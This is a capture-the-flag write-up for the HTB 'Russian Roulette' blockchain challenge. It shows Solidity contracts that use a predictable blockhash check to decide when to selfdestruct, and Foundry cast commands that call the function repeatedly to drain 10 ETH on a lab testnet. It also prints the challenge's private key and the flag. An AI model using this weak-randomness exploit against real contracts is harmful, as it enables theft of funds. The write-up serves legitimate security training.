Tags: smartcontract blockchain solidity 

Rating:

## Russian Roulette [very easy]

### Description

`Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?`

### Initial Analysis

HTB spawned two Docker containers and provided a `.zip` file containing smart contracts, `Setup.sol` and `RussianRoulette.sol`. I began by looking at `Setup.sol`.

#### Setup.sol

```solidity
pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
RussianRoulette public immutable TARGET;

constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
```

A smart contract named `RussianRoulette` is created with 10 ether. To solve the challenge, I needed to drain `RussianRoulette` of that 10 ETH into the provided attacker wallet.

#### RussianRoulette.sol

```solidity
pragma solidity 0.8.23;

contract RussianRoulette {

constructor() payable {
// i need more bullets
}

function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // ?
} else {
return "im SAFU ... for now";
}
}
}
```

Looking at the `RussianRoulette` contract, I saw the `pullTrigger()` function which has a public state, so I could call it directly. When `pullTrigger()` is called, it:
1. Calculates an unsigned, 256-bit integer from the blockhash of the transaction's block number minus one
2. Modulos that value by 10
3. If the final value is equal to seven, the `selfdestruct()` method is called which deletes the smart contract and sends the remaining Ether to the designated contract (in this case, the transaction sender)

### Solution

Before interacting with the `RussianRoulette` contract, I grabbed the connection information for the hosted testnet and exported these values as environment variables in my Foundry-rs Docker container ([Foundry](https://github.com/foundry-rs/foundry)).

```
$ nc 83.136.252.250 40761
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key : 0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b
Address : 0x23C88A40d138f6eB43C1ae1E439fB37813D13709
Target contract : 0x8b40383E4793e3C9d4e44db36E878f9D279f0522
Setup contract : 0xE7bA09fB42a91B2EbBc893d99dbD8D7C109eaf05

# export PK=0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b
# export ATTACKER=0x23C88A40d138f6eB43C1ae1E439fB37813D13709
# export TARGET=0x8b40383E4793e3C9d4e44db36E878f9D279f0522
# export RPC=http://94.237.63.2:43020
```

To get the right block number, I called `pullTrigger()` multiple times (15) using Foundry's `cast` tool to meet the `if` statement condition and trigger the `selfdestruct()` method to send the 10 Ether to my attacker contract.

```
# cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"

blockHash 0x0d7f6e70b44066fc8334a5e01e85b3db072fe849c1b450b4b7e9c2acd6dd6fe0
blockNumber 2
contractAddress
cumulativeGasUsed 21720
effectiveGasPrice 3000000000
from 0x19Bd76639019aadBeeA69F5399C49e1672f5e25d
gasUsed 21720
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0xae0003c575c9e12b54d1e52bae664897021d73cc75e5f0acb0417ca812d6ab5e
transactionIndex 0
type 2
to 0x28874aF3728F75792df75680b5c3a9ff1a8C4100
depositNonce null

Repeat...

# cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"

blockHash 0x6ae30317307bf064493418d851a4f8350ec86003067780a035c2260233812ce4
blockNumber 16
contractAddress
cumulativeGasUsed 26358
effectiveGasPrice 3000000000
from 0x19Bd76639019aadBeeA69F5399C49e1672f5e25d
gasUsed 26358
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0x114d561b016940ac946d493ee46d85e91ee76fea51c062b39857aaa4680920d5
transactionIndex 0
type 2
to 0x28874aF3728F75792df75680b5c3a9ff1a8C4100
depositNonce null
```

With the `pullTrigger()` condition met, I was able to get the flag.

```
$ nc 83.136.252.250 40761
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
```

Original writeup (https://0x1uke.com/cyberapocalypse2024blockchain/).